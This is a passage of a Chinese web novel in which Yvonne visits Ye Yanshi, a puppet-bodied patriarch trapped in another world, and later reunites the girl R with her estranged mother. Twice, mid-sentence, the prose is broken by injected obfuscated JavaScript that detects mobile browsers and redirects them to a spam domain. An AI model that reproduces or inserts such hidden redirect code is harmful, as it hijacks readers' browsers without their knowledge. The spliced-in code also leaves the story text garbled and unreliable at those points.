提起醉霜,伊冯边上楼边问:“醉霜说她是‘妖’,类似精灵吗?她还说要‘修行’才能长大,这个词什么意思?” 叶言实把人引到二楼的桌边坐下,桌上摆满了水果茶点,坐着的位置正好能看到窗外书海浮动,在绿色的边际,有一线深蓝横于天地之间。 她从另一张放着白玉茶具的桌上倒了两杯茶,将透着艳绿茶色的白玉杯端到伊冯面前。她为自己也倒了一杯,握着茶杯在伊冯对面坐下。 叶言实说:“精灵天生有能与万物沟通的能力,是世界的宠儿;妖则是种诞生方式与所需养分比较特殊的生物,能否拥有智慧、寿命如何,全靠运气和修行——修行这词,有很多种解释,醉霜说的,其实就是吸收养分供养自身。” 伊冯端杯喝茶,眼前一亮,将杯中茶水饮尽,说:“好特别的茶香,我喜欢这个味道。” “能合你口味就好。”叶言实起身为伊冯添杯,“这是今年新采的茶叶,你离开时可以带几包,这种茶叶放久了味道也好。喝完了若是还没腻味,我再派人送新的去。” 伊冯就着点心喝茶,看着叶言实为她添茶、挪动点心的位置。她在飞艇上最先吃完的几样,现在桌上摆得最多。她不讨厌叶言实把讨好她的意图表现得很明显。 伊冯问:“不带我与真正你见面吗?一直隔着你的傀儡对话,我觉得很奇怪。” 叶言实说:“如果能亲身见你,我绝不会用傀儡替代。我被困在别的世界,只能靠这一缕残魂与你交谈。” 伊冯意外地问:“你在别的世界操纵这个傀儡?” 并且用这个傀儡控制着整个叶家乃至东盟? 叶言实说:“你母亲答应我,我所在的世界人类不会灭亡。我试图钻空子,制造了许多傀儡,如果带有我灵魂的傀儡也是‘我’,将这些傀儡散布到别的世界,有多少傀儡,就能有多少世界的人类在五百年内不会灭亡。” 她看着伊冯震惊的脸,笑容平和依旧:“我偷溜去某个世界放置傀儡时,陛下锁住了各世界间的通道。她之后便去了不可知之处,我则被困在了那个世界。真是自作自受。” 62.真钥匙 伊冯说:“你在哪里,我可以去带你回来。” “感激不尽。”叶言实将吃空的碟子撤走,报给伊冯一个坐标,“这地方偏远,我用傀儡活动也不妨碍,你可以先顾好自己的事再考虑我的。” 伊冯捏起一块粉白的梅花型糕点,说:“说到我自己的事,我这次来,是想问你的养女。” 叶言实说:“我只是虚担了名头。她出身于霍夫曼,双亲死于族内纷争,又被投毒害了病,我知道她的事后收养了她——并非出于好心,而是为了借此在霍夫曼埋入我的眼睛。一个年幼、残疾的孤儿,能换来叶家的亲近,即使那时的我在叶家人微言轻,对于霍夫曼也是笔好交易。在我收养了她后,各家开始挑选牺牲品成为研究塔的试验品,我自己被叶家推入试验场中,阻止不了她被霍夫曼点名成为小白鼠。” 伊冯吃下几块糕点,喝完杯中的茶,手掌下压让叶言实继续讲,她自己去倒茶。桌上点心吃完了几碟,空出了位置,伊冯把茶壶拿过来,省得总要起身。 “值得庆幸的是,陛下很喜欢她,很照顾她。虽然她们间以姐妹相称,真正养育了她的,是陛下,陛下对于她亦师亦母。自身的遭遇,再加上她亲眼所见陛下被伤害被背叛,让她对‘人’缺乏信任、充满敌意。因为陛下不喜杀戮,她会在陛下面前收敛,但陛下离开后,她心中唯有仇恨,只想着如何发泄它们。想让她彻底放弃,除非杀了她。”叶言实说到这,才将杯中的茶饮尽,笑说,“我也是她想杀的人,可别指望我能劝她收手。” 伊冯吃了几粒葡萄,问:“为什么你叫源‘陛下’?” 叶言实说:“我和她第一次见面时,她是那个世界某个小国的公主,后来她统合了几国登基为帝,我是她的宰相,习惯了如此称呼她。” 伊冯只能说:“她的经历真是丰富。” 叶言实说:“她好奇心旺盛,什么都想尝试,又不受时空限制,当然丰富。” 而人间百态都被她尝遍后,她已不对人世好奇,对人类失去兴趣的她,没有留恋地回去自己的来处。 伊冯看着面前毫无瑕疵的傀儡,问:“你一直控制着分在不同世界的每个傀儡吗,很辛苦吧?” 叶言实说:“尚可。每个世界的时间不完全同步,总有些可以趁夜寝时间放松控制。如果不活跃到让世界看到,不就没有意义了吗。” 伊冯说:“本想参考你的傀儡给洛佑做个身体,现在都不好意思开口问。“ 叶言实笑笑,从宽口的袖中取出一封信,递给伊冯,说:“原谅我擅自揣测你会需要它。我也是向陛下学的,按自己能做到的程度简化了一些,仅供参考。” 伊冯取出信封中画有示意图的傀儡制作详解,是毛笔手写的,字迹工整漂亮,足够放进美术馆里展览。 她简略看过一遍,心中有了底,把东西收好:“就是材料麻烦,有些我都没听过,东盟的特产?” 叶言实又掏出一块玉坠,上面雕了个似乎是汉字的东西,也放在伊冯面前。 叶言实说:“这是我的信物,用这个,可以调动叶家的任何资源。” 伊冯拿起玉坠,拇指划过玉上的刻纹,玉的品质很好,手感温润细腻。这么高的权限,与把叶家送给她没有差别。 她问:“这么大方?” 叶言实说:“与你所做的相比,不值一提。” 这是以她会给全人类续命为前提了。 伊冯把玉揣进口袋:虽然被寄予了沉重的期待,但这些都是她现在需要的,到时就她尽力一试吧。 该说的事说完了,二人安静地欣赏着窗外风景。等茶喝尽、点心吃完,叶言实引伊冯在园中另逛了几处景色别致的地方,又带她进一间准备了东盟饭菜的屋子。 叶言实说:“为你准备的卧房就在隔壁,回程路远,今晚就在此歇宿吧,明早再走。” 伊冯现在已经习惯了用筷子,在蒙涟娜的店里吃了几年东盟菜,对桌上的菜色也能品鉴几分。不过除了用料、火候比蒙涟娜的好,调料比例有些区别,口感、味道都好上几层,也没别的感想。 伊冯问:“我在栖止时,那里有个开饭店做东盟菜的老板,对药剂有些研究。她好像和叶家有些瓜葛?” 叶言实说:“那是复陆家的孩子,分了东盟后,霍夫曼和复陆家的孩子幼时都由叶家抚养教育。那孩子是偷溜出去的,看她过得自在,便没管。” “她的毒对我无效后,猜我是叶家的人。这是什么说法?”伊冯问,“她用的毒是从叶家学的?” “我们确实有教导孩子们药理,至于毒……是她自己从中琢磨的吧,所以会觉得只有叶家的技法才能解她制的毒。”叶言实为伊冯布菜,自己偶尔吃两口。她是傀儡的身子,不靠这些食物补充能量,只是为了陪伊冯才跟着吃。 叶言实又说:“她有几分天赋,或许也是因为这有了骄傲,不愿顶着复陆的姓依附叶家。” 伊冯说:“各家勾心斗角,就是为了些不知何用的‘高人一等’。把历史往前翻几年,都说霍夫曼和复陆比叶家强盛,有人不服也正常。” “是呀,争来夺去,费尽心机,最后为的就是这点东西。”叶言实说,“好在,各大家族很快都会消失了。” 伊冯筷子一顿,听叶言实继续说:“各大家族的存在是人类走向未来的绊脚石。我希望人类不灭亡,不是为了看我们继续陷在同类相残的漩涡中。我想向她证明,人类会有新的面貌,我们值得未来。” 叶言实这话不是说给她听的,伊冯继续吃饭,不置一词。 叶言实准备的卧室自然是传统的东方风格,睡床是有围栏的架子床,四周都有纹样精致的床帘,只是伊冯不喜欢视野受限,把帘子都挂了起来。 她还是头回见这么多木制家具,连浴室都铺的木板。在木制的浴缸里放松地泡了澡后,伊冯闻着房内飘荡的草木香酣然入梦。 自从能主动控制穿越后,做梦的“后遗症”也随之消失,这一场梦境又是什么说法? 说是梦,她更像是看了一段拍摄手法和剪辑都十分粗糙的影片,晃动的视角里,各种事物交替出现:一群飞舞的白色蝴蝶,散落在地的乐谱上压着小提琴,看不清眉眼的某人带着细金边眼镜,落在画布上细细描绘的笔尖,小指上闪动的尾戒,在衣领晃动的蓝金项链,一颗被双手捧住的红宝石…… 伊冯认得那块红宝石,她在洛佑的暗格里见过它。 她向来给她送早点的叶言实说了这个梦,叶言实听后却是苦笑。 叶言实说:“这些是她送给我们的礼物……原来,可以带我们去见她的钥匙,她早就交到我们手上了。” 源也给了洛佑钥匙。意识到这点,伊冯忽然觉得很松快,想立刻告诉洛佑这件事。 伊冯问:“你的钥匙放在哪里?在你本体身上吗?” 叶言实点头:“我的是眼镜,我一直戴着。” 伊冯说:“这么说,你不用我去找你了。你接下来准备做什么,回来吗?” “还有几个傀儡能放到别的世界,既然能走动了,我还是先把事情做完。”叶言实的笑总是很温和平静,这回却一直没褪去苦涩,“我会回到这的。” 伊冯问:“你似 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“你这老师怎么这么嫌弃学生。”伊冯笑,“醉霜那么漂亮,不用说话我看着心情也好。” 叶言实说:“只可惜她修为尚浅,现在跟了你只会碍事,否则我就送你带走了。” 伊冯只当她是玩笑话,二人走到停机小岛上,叶言实打开舱门,让伊冯看到里面堆放的几箱东西。 “这些是以前在别的世界收集的,特质、用法,铭的学生都知道。”叶言实说着又拿出一个小方块,“你已经知道如何利用世界的间隙了,这是个辅助小道具,进行定位后可以随时随地从间隙中存取物品,能给你省事。这个已经绑定了一个空间。” 叶言实说着用方块在一个箱子上轻敲,箱子消失不见,她将方块翻转换面一甩,箱子又落在原地。她又拿出几个没有绑定空间的方块,一起给伊冯。 伊冯已经习惯了叶言实的大方,看懂了用法后,不多废话把东西收下,将几个箱子都用方块收起。她顺带向叶言实要了这艘快艇的所有权,征得了研究系统的许可。 叶言实说:“我这的系统是琉做的,名叫‘夏娃’,你若是有兴致也可以与她聊聊。” 有自我意识的系统?这是提醒她别把系统拆太彻底了? 伊冯和叶言实道别,启动快艇出发。 叶言实目送快艇飞走,忽然开口道:“躲什么?” 水面波动,一双指间有蹼相连的手摸上栈道,这双手指甲长而尖利,布满鳞片。双手摁着木板用力,一张脸破开水面出现,脸上的鳞片在日光水影中折射光彩,如钻石绚丽;比常人更大的眼眶里琥珀色的眼瞳剔透,脸侧两边鱼鳍耳如蝶翼展开,湿漉漉的浅蓝头发黏贴在身上,将露出水面覆满鳞片的上身遮挡大半,水面下占据湖底大半面积的巨大黑影与她相连,缓慢摇动着。 她怯怯地抬眼看叶言实,张口发出短促的“咯咯”声。 叶言实身后,醉霜也慢慢地走过来,她努力不发出脚步声,但鹿蹄在木板上的声音实在难藏。 叶言实看着她们两个,说:“引她来此,就是为了让她与你等结缘,你们如此不知珍惜,真是白费我的苦心。” 醉霜小声道:“我们效忠的不是陛下吗?而且,是老师您说这位殿下是只独狼,恐怕不屑我们的追随。” 叶言实在醉霜头上敲了一记,叫她慎言。 “罢了,强求不来。”叶言实背手走入林内,“只是不知她这份好感,要便宜哪只小妖了。” 63.孕与育 伊冯收到柯查尔的消息,才想起马上就是佣兵大赛开幕式的日子。 “奶奶哟,你会回来的吧?刘念不能来我们已经少了一员大将,您可是答应过我要参加的。”柯查尔在视讯里哭丧着脸,“您的事要是处理起来麻烦,说一声团里姐妹要多少去帮忙都行,求您快回来啊!” 伊冯靠在墙上,说:“抱歉,没注意时间,我这就回去。” 柯查尔脸上立刻堆了笑,变脸速度之快令人侧目,还要装模作样地问:“事情都处理完了?现在回来不影响什么吧?” 伊冯说:“没事,早就处理好了,是朋友热情留我玩几天。” 柯查尔听她这么说就放心了,又聊了些无关紧要的事,才结束通讯。 伊冯把柯查尔打视讯之前发来的短讯都标为已读,离开空白的墙边,戴上手套站回解剖台前。 她离开后土之后联络了刘念,刘念和她的老师要花些时间确认各方尤其是怪物的动向,伊冯便没去和她们汇合,留在守明上属于叶家的科研所中专心制作能容纳洛佑灵魂的傀儡。 新做出来的傀儡注入她不到百分之三的灵魂就损坏了,虽然已经比叶言实用的傀儡结实,但要装下洛佑全部灵魂显然不够。 总不能也让洛佑把灵魂分成几十份,分别装进傀儡里。叶言实那分散灵魂还留得自我、并能同时操纵众多傀儡的意志力,恐怕不是洛佑所拥有的。在伊冯到世界的间隙里对洛佑说了钥匙的事后,洛佑灵魂吸纳能量的速度反而更慢了,最近才刚把之前掉落的灵魂碎片吸收完。 要想升级傀儡容量,不能继续按着叶言实给的配方方向走了。 伊冯将傀儡内部每个角落都做了记录,与之前的几个版本进行对比,在实验记录里录入新想法,而后把实验室收拾好,能带走的都装入储物空间。 伊冯出门,到中厅打招呼告知她要离开,那个实验室不用给她留着了。 腰间系着叶字木牌的前台完成登记后,问:“您是立刻离星,还是用过餐再走?” 伊冯说:“准备些甜点就行,再打包几份。” 前台点头应好,请伊冯到隔间的茶厅稍等。 不知是不是因为她被叶家家主奉为贵人,她见到的叶家人做事总是周到又有效率。她刚在茶厅挑了个位置坐下,很快就有人送上温茶和一碟小点心。新的点心总在上一盘快要吃尽时送上,每一碟点心的味道都互相映衬,酸甜咸辣比例正好,就算没有茶清口,也难吃腻。 即使是不怎么追求味道的她,这些天吃着叶家的饭菜点心,都想带几个厨师走了。 一碟绿豆糕放在桌上,送来点心的侍者却没立刻离开。 伊冯抬头,对上一双灰瞳。 就算这人穿着叶家侍者的衣服、面纱遮着下半张脸,这双眼睛也足够伊冯认出她。 伊冯问:“你怎么在这?” 流珠说:“我身体恢复了,下一阶段课程还没开始,叶家不养闲人,分配我在这工作。” 伊冯示意她坐下说:“既然你在这,那就陪我吃点。” 流珠说:“我还有工作,请客人慢用。” 流珠转身便走,伊冯把人拉住,硬摁在椅子上。 伊冯说:“你们应该都得了交代,要尽力满足我的要求。陪我说会儿话,没人会追究你没完成的工作。” 她拿起茶壶往后厨方向看了眼,立刻就有人拿来新的茶杯,给流珠也添了份餐具。 伊冯用点心叉取了块莲子糕,问:“你觉得R会喜欢哪种点心?我想带些吃的回去给她们尝鲜,你在这里工作,肯定知道哪种最合她口味。” 流珠只低着头,不给伊冯反应。 伊冯眼中没了笑意,说:“做母亲的都会这样吗?以为自己一厢情愿的做法对孩子更好。” 流珠看向伊冯,有些困惑和犹豫。 伊冯将流珠的茶杯向她推近些,说:“如果你还有半点在意你的女儿,摘下面纱,陪我用点心、说话。” 流珠取下耳后固定面衣的小钗,急道:“她出什么事了?” 伊冯笑:“不出事就不值得关心?” 流珠松了口气,低声回说:“我们没那么亲密,真正让她活着的,是你。” 伊冯翻了个白眼:“我已经当了她的老师,别想我再给她当妈。” 她说完,又身子前倾问流珠:“你不想当她的母亲?因为觉得麻烦,没有女儿会更自在?” 流珠摇头,过了会儿又摇了摇头,不知在否定心里哪个想法。 她说:“我从没准备好要有个孩子。怀上她的头三个月,我的月经照常来了,发现的时候肚子已经大了。我是想堕胎的,毕竟耽误工作,对身体也不好。” 伊冯见她说了一半又停下,接话道:“但是?” “我收到我妈过世的消息。”流珠看着茶水上的倒影,“我刚接了一个长期任务,佣金很高。她已经死了,我回去也不能让死人复活,我需要钱活下去。我雇了丧葬公司处理母亲的后事,房东急着收回房子,我没法处理她的遗物,只能让人把它们和我妈一起烧了……或许是觉得寂寞,我没有把孩子打掉,那时她会在我肚子里动了,会让我觉得我还有家人。” “然后呢?因为R残疾,你又不需要她了?”伊冯追问。 流珠说:“她出生时是个正常的孩子,和别的孩子一样,可爱又脆弱。我生下她后不久,接到的任务是到现在的栖止上开荒。地底发现了一种很像石油的液体,让那颗星球身价暴增。挖掘时,有个白痴带错了工具,在地底引了火,地道里的人都被波及——她当时被我带在身边,我没有可托付的人,我以为在我身边是最安全的。我和她都侥幸活下来,但她变成了那个样子。” 她的声音发颤:“我知道,如果给她做全身手术,她还能成为正常人,可我没有钱,我拼命工作那么多年攒下的钱,连一条假腿都买不起。那个样子,活着才更痛苦吧?我试过掐死她,可当她真的在我手下没了呼吸,我又害怕……我只能把她藏在地下,假装那样活着对她已经足够……我生下她,只给了她痛苦。她终于能好好活了,我离她越远越好。” 伊冯想了会儿问:“如果你知道你和女儿会变成如今这样,你就不会生下她了?” 流珠眨出眼眶中的泪水,想象着伊冯说的情景,最终只是摇头:“我不知道……” 伊冯又问:“明知要与孩子疏远,还是主动孕育了她生下来,然后丢给别人抚养,这是种什么心态?她分明没有任何繁育的必要。” 与流珠和R这对母女间因为遭遇种种不幸而产生的隔阂不同,源孕育她前就知道她们必须远离彼此,她有什么理由要生下一个孩子?就为了给洛佑一个赎罪的机会? 流珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816906|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,不是在说她和R的事吗? 伊冯还催她说:“你对R的感情这么复杂,思考亲子关系的角度比我多,给我提供点思路。” 流珠抹掉眼泪,把杯里的茶一口吞了,心下骂着这人还是这么自说自话,嘴上回说:“应该是想要孩子的同时,也有要紧的事要做,并且很信任托付的人吧。” 伊冯说:“听说只是跑去玩了,而且托付的人有违约的前科。” 流珠猜想她这是在说自己的家事了——这人就算不是叶家的,背景也差不到哪去。豪门的家事都复杂,对方说的这些听起来也没什么大不了的,不就是被家长忽略的缺爱小孩吗?能被富养长大,已是星盟多少人一辈子都求不来的好运了。 她当然不能把心里想的这些说出来,嘴上挑着好听的说:“每个人都有自己的难处,肯定是有什么不好告诉你的原因。要不然,去问本人是为什么呢?” 伊冯对流珠给的回答倒无不满,她自己也是这么想的。确实,除了源自己,谁知道她是怎么想的,她那些老友不也都没发现她留下的钥匙。 她让侍者不用再上点心了,把桌上的都吃完。伊冯盯着流珠让她也吃了许多,才允许她起身。 “对了,”伊冯又叫住她,“你还没回答我,你觉得你女儿会喜欢吃哪样?” 流珠看着桌上的空碟,慢慢回想着说:“她应该会喜欢山药糕。” 伊冯满意地放她走开,自己也离开叶家的科研所,坐车去空港。 她全面升级改造过的飞船边,站着六位腰系叶家木牌的侍者,手上端着她要求打包的甜点,还有些别的特产。 伊冯照例让人把东西放进船舱,起飞后把点心以外的东西收进空间,接着开跳跃器到首睚星,再直飞追龙基地停机场。 她刚拎着点心下船,就收到柯查尔的消息,次日就要动身去参加大赛开幕式,她至少得参加最后一次行动会议。 会议在追龙基地总部大楼进行,团里的主要干部都会参与,包括追龙佣兵团的团长,周溯龙。 周溯龙可说是佣兵中的传奇人物,白手起家建立了如今三大佣兵团之一的追龙,以她为原型的佣兵题材故事在文娱界经久不衰,试图倒推复现追龙建立过程的社会研究论文也每年都有大量新增。伊冯在内网当幽灵闲逛时,常看见自称与周溯龙是旧识的用户散播些博人眼球的故事,虽然都是没过半小时就因为造谣被禁言删帖,但也说明了大众对周溯龙其人的关注。 伊冯加入追龙后一直只关注自己的事,不怎么在团里走动,因而认识的最高级别干部至今只有一个柯查尔,还没近距离接触过这位团长。 她进入会议室后,在柯查尔位置后方的座位中找了个方便开小差的坐下。没在参加会议的人里见到二号,那人不是说要参赛吗,为什么她能翘会? 会议的内容不外乎交代参赛的重视这场大赛,争取夺魁也要注意尽量不受伤,评委是盟会、研究塔和各大家族出人,不要随便质疑评委让主办方下不来台……等等等等。 伊冯没耐性认真听,盯着空气在脑中推演改良新的傀儡制法。 只是会议过程里,周溯龙的视线好几次停在她身上,眼神中带着复杂的审视。 满会议室里开小差的人不止她一个,肯定不是因为她走神才盯上她。追龙的团长不会也是源的旧识吧?那可就太无聊了。 64.追龙梦 “利比逖?可以和你单独聊聊吗?” 散会后,伊冯被周溯龙叫住。 还未离开的人都停住脚步看向她,柯查尔转身站到二人中间,笑道:“不带这样的啊周姐,明着抢人呐?” 周溯龙没说话,柯查尔从她的表情意识到她是真有很重要的事要和利比逖谈,也收了笑脸。 柯查尔看利比逖似乎不抗拒进行这场谈话,于是问她:“那我们先走……你那些盒子我先帮你拿着?” 伊冯把手里的几盒点心给柯查尔,说之后去她的办公室拿。 团长态度认真,别的人也不多玩笑逗留,快速离开给她们二人腾空间。 伊冯坐到周溯龙附近的位置,等着对方说话。 周溯龙说:“有些话,就算我们心知肚明,也不好在会议上公开谈论——佣兵大赛选在元星举办,一定有什么目的。” 关于这点,伊冯在回程路上看新闻时也注意到了,阿吉斯家的事压了这么久还没消息传出,在这种时候突然说要举办大赛,居然还把佣兵大赛的举办地选在元星,想也知道肯定不怀好意,说不定会把“以诺”的死栽赃到佣兵头上。 就算不知道阿吉斯发生的事,“元星”所代表的意义也让大赛举办地的选址充满怪异,这究竟是对佣兵的重视,还是威慑? 周溯龙继续说:“我们参加,是因为星盟给有规模的佣兵团都发了消息,这次大会代表着星盟将正式承认佣兵。换言之,不参与的佣兵将被视为非法武装,遭受星盟的打击。” “态度这么强硬吗,”伊冯态度随意地评价了一句,“然后呢,为什么要找我说这些。” 周溯龙说:“尔好是团里最优秀的技术员,她说你是团里唯一能和她相提并论的。像你们这么优秀的人才,在我这是屈才了——为什么不去研究塔?” 二号这假名起得够敷衍的。 伊冯腹诽着二号的怪名字,同时为周溯龙这迂回试探的聊天方式不耐,有什么不能直说的。 伊冯说:“你不用顾虑我,直说你的目的。” 周溯龙盯着她一会儿,才说:“你知道‘姬以风’这个名字吗?” 伊冯说:“我在入团测试的考题中见过。” 周溯龙说:“研究塔曾有段时间在寻找她的下落,为了她的安全,我希望知道你对研究塔的态度。” “我生母也在被研究塔追查踪迹,”比起证明自己的态度,还是不能向研究塔示好的客观条件更有说服力,“我的技术在研究塔确实会更有发挥空间,但接近研究塔对我来说坏处更多。不在那里也不影响我做到我想做的。” 周溯龙叹了口气,说:“姬以风,是我的姥姥。那套入团测试,是我用她留下的笔记改的。” 伊冯问:“你想用这套试题为她筛选出能帮她实现那项研究的人?” 周溯龙摇头:“我没想过真的有人能解开这套题再次看到她的名字。这只是一个,姥姥传给我母亲,我母亲又讲述给我的,遥远的梦。” 然后周溯龙讲了一个故事。 在许多年前,人类还在宇宙中小小的角落活动的那段时间里,启动飞船进行星外活动只有一个目的——寻找能源。 无数寻找能源的队伍投入星海,比起如今的佣兵盛行的场面还要壮观,毕竟在那时人类资源紧缺,找到能源的人不仅能获得一大笔收入,同时还将成为受人推崇的英雌。 姬以风是最优秀的能源猎人,从不空手而归,几乎每次结束远航都能带回至少支援一座城市几月日常所需的能源。 直到一次意外。 周溯龙说:“我记事时,姥姥的身体已经很差了,偶尔才会醒来和我说会儿话。我最喜欢听姥姥和我说她过去在宇宙中探险寻找能源的事,只是我记住的不多,姥姥去世后,母亲将那些故事再一次次说给我听。我母亲说,姥姥去世前的那段日子,只重复说着同一段故事。 一个突然出现的黑洞吞噬了整支船队,等姥姥再度恢复意识,眼前只有虚无的黑,但她听到奇怪的声音,一直在她耳边絮絮叨叨的,她看不到同伴的踪迹,无法判断当下的情况,只能和那个声音对话。 姥姥说她完全听不懂那个声音是不是活物发出来的,只是太害怕了所以找对象说话壮胆,但说着说着,眼前突然有了光,她的眼睛被光刺激闭起,却看到一只在宇宙尽头睁开的眼睛,后来的事,她没有了记忆。” 姬以风在医院醒来后,被告知她们从黑洞中带出的能源被米勒出高价买走。 她只能从新闻图片上看到模糊的蓝色,她提出想进米勒的研究室看看那块能源,都被无情拒绝。等她养好了伤,立刻组建队伍再次远航,却再也没找到过相似的物质,就连普通的能源也不再有痕迹,似乎她所有的好运都在逃离黑洞的那次耗尽。 她没有放弃,仍一次又一次地为了找到那个蓝色而远航——之后她的一生,都在寻找那只眼睛,想再见那抹蓝色一次。 直到米勒家创办的研究塔突然联络她,希望她这个最初的发现者,能为研究提供一些帮助。 “那时的研究塔有些不好的传闻,像是用虚假信息招揽实验志愿者、被指控进行人体实验……姥姥说她的直觉一向很灵,她收到研究塔的消息后忽然觉得会发生什么很不好的事,她靠着直觉找到了那么多能源,她当然信任她的直觉。她当天就离开了原来居住的地方,偷偷住到远方朋友的家中。后来她得到消息,研究塔的人在暗中找她,这更让她警惕,她当时的身体状况要继续出航寻找能源以及很勉强了,于是也借此放弃了能源猎人的工作,从此不再用‘姬以风’这个名字,化名改姓为周。” “姥姥只把她的名字和故事告诉了我和我母亲,我可以说是受她影响才选择做佣兵。我也想见到让姥姥无法忘怀的那个蓝色。”周溯龙说,“在我家,我们用‘龙’指代姥姥发现的那个东西,‘龙’是一种传说生物的名字,和姥姥追逐的那抹蓝色一样,只是个寄托了幻想的,美好的梦。” 已经习惯了“追逐”的行为,甚至没想过真的靠近了之后该怎么做吗。所以对于出乎她预想解开题目的自己,周溯龙反而不知该如何对待自己来延续姥姥的梦想。 周溯龙说:“那块能源……现在研究塔中不知道是否还有留存。这次去元星参赛,或许是我唯一能靠近它的机会。” “那就去看看吧,”伊冯看着周溯龙讶异的表情说,“我有信心破解研究塔的安保系统,你想为你们一家三代的梦想冒点险吗?” 伊冯离开总部大楼,去柯查尔的办公室拿点心,她本来还编了些话应对柯查尔询问她和团长的对话内容,结果柯查尔只盯着她的点心。 “望月的点心可贵了,特意买给学生们带的伴手礼?”见伊冯点头,柯查尔玩笑道,“老师还收学生吗?” “不收,那两个已经够让我烦了。不过伴手礼有多的。”伊冯分了一盒放在柯查尔桌上。 柯查尔抱起点心盒子,夸张地摆出哭脸说:“真的不收吗?我很虚心好学尊重师长的。” 伊冯白了她一眼,拎起其余点心盒起身出门。 正好是饭点,伊冯在食堂找到了安琪儿和R,二号也和她们坐在一桌,同桌的还有安琪儿同研究室的和R同队的人。 “老师!”R一见到伊冯就蹦起来叫她,差点把身边的人撞下椅子,手忙脚乱地道歉。 伊冯等她们把R身边的位置空出给她,把点心盒放在桌上。安琪儿和R各两盒,二号一盒,还有剩的一盒伊冯直接拆开,让同桌的人一起吃。 R说:“谢谢老师!” 安琪儿说:“谢谢。” 同桌的别人说:“这是望月的点心吧?太破费了!”“我也想拜师了,安雅,拜师后我能不叫你师姐吗?” 二号说:“为什么我只有一盒?” 伊冯说:“嫌少就给钱,要多少都给你。” 二号从已经打开的点心盒里挑了块绿豆糕,咬了一小口就嫌弃地从嘴边挪开:“这么甜?我姐姐做的比这好吃多了。” 伊冯说:“哦。那一盒还我吧。” 二号说:“给了我就是我的,想要得付钱。” 伊冯哼笑两声,不接她这话。 安琪儿问:“你们以前认识?” 二号说:“当然了,好多年的老朋友——不过我们之前是网友,最近才在现实里认识。” 伊冯本想补充几句,她们没二号说得那么要好,但看安琪儿只是安静地低头吃东西,没像之前那样反应过度,便不说些没必要的话。 “黄琳,我回来前见到你母亲了。”伊冯在R发着亮看过来的眼睛中说,“她说你应该会喜欢山药糕,你尝一个,看她说得对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827353|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对。” R忙把伊冯送自己的点心打开一盒,对着颜色形状各异的糕点辨认哪个是伊冯说的。 听伊冯说到私事,同桌几个人自觉地端起餐盘换位置,给她们留空间。二号没动,半点不见外,小口啃着手里的绿豆糕,一副等着听故事的姿态。 伊冯指给她看,并说:“你母亲在望月找了个新工作,这次大赛你们没参加的都被放了假,你要是想见她,我把地址发你。” R嘴里塞着山药糕,发出含糊的声音。 “细嚼慢咽,吞下去再说话。”伊冯见她表情不好,“不喜欢吃吗?” R摇头,慢慢地咽下嘴里的糕点,说:“很好吃,我很喜欢。” 伊冯了然:“你怕和她见面?为什么?” R低着头扣着点心盒的边缘,小声说:“我不知道她想不想见我。” “她很想你。”伊冯笃定地说,“她和你不亲近都是装的。她觉得是她害你残疾、让你不能像正常人一样生活,觉得太亏欠你而无法面对你。她以为她离你越远对你越好。” R瞪大眼睛,好一会儿才消化了伊冯的话,问:“真的吗?” 伊冯说:“我录音了,要听吗?” 虽然这么问,但不等R回答,伊冯已经打开了终端的录音文件。 “她出生时是个正常的孩子……” 听到熟悉的声音,R弯腰把耳朵伏到伊冯的终端旁,不自觉地屏住呼吸,好像就坐在流珠身边听她说过往。 “……我生下她,只给了她痛苦。她终于能好好活了,我离她越远越好。” 伊冯关掉录音,抹去R滴在她手背的眼泪,说:“我不想干涉你们母女间的事,只是觉得你们两边都想着和对方亲近、又都觉得自己不被需要,闷着什么都不说,对谁都没好处。你已经知道流珠的想法了,接下来要怎么做,是你的自由。” “我想见她。”R抹着眼角直起身,“我想见去她。” R的行李很少,除了背着的一个包,只抱着伊冯给的两盒点心。伊冯拿出这些点心时,同桌的人感叹过这些很贵,她想就算流珠在那边工作,也不会常吃,带过去一起吃应该不算多此一举。 第一次独自出远门,R坐在候机厅里,反复对照航班信息,坐不住三秒就要站起来到登机入口晃几圈。 “出去做那么多次任务,还没适应星际航行呢?你这样出去说你是追龙的,谁能信?” 安琪儿双臂交叉站在R身后,一脸嫌弃。 “安雅!”R在追龙叫惯了这个名字,惊喜下脱口而出也是叫这个,“你怎么在这?” 安琪儿用下巴往下点点,她脚边放着两个箱子,说:“我进追龙就没出去过,难得有假,当然也要出去玩玩。” 有了熟人作伴,R总算在椅子上安分坐下,和安琪儿聊假期安排。 “安雅,你要去哪里玩?要不你也和我一起去见我妈妈吧?”R虽然听到录音里流珠的真心话,心里还是紧张。 安琪儿摇头,说:“我有别的地方要去。” R问:“你要去哪?” 安琪儿又是摇头:“我也,不知道。” R问:“你不知道自己要去哪里吗?” 安琪儿说:“我只是想去一个从没去过的地方,一个……暂时不会见到老师的地方。” R一愣,想起之前二人的冷战,小心问道:“你,还在怪老师冷落你吗?” 安琪儿摸着终端手环:“是我的错,是我太贪心了。我明明已经从她那得到了这么多,成为了和过去截然不同的人,却不知感恩。全宇宙对她都是可以随意来去的地方,我却希望她只在我身边?现在想来,真的太可笑了。我想去别的地方,像她一样有更多的经历结识更多不同的人……这只是我的妄想,但我希望某天,她会为我是她的学生而骄傲。” R握住安琪儿的手说:“我们会的——我也会努力,让老师为我骄傲。” 安琪儿反握住她的手,轻推她一下,说:“你该登机了。” 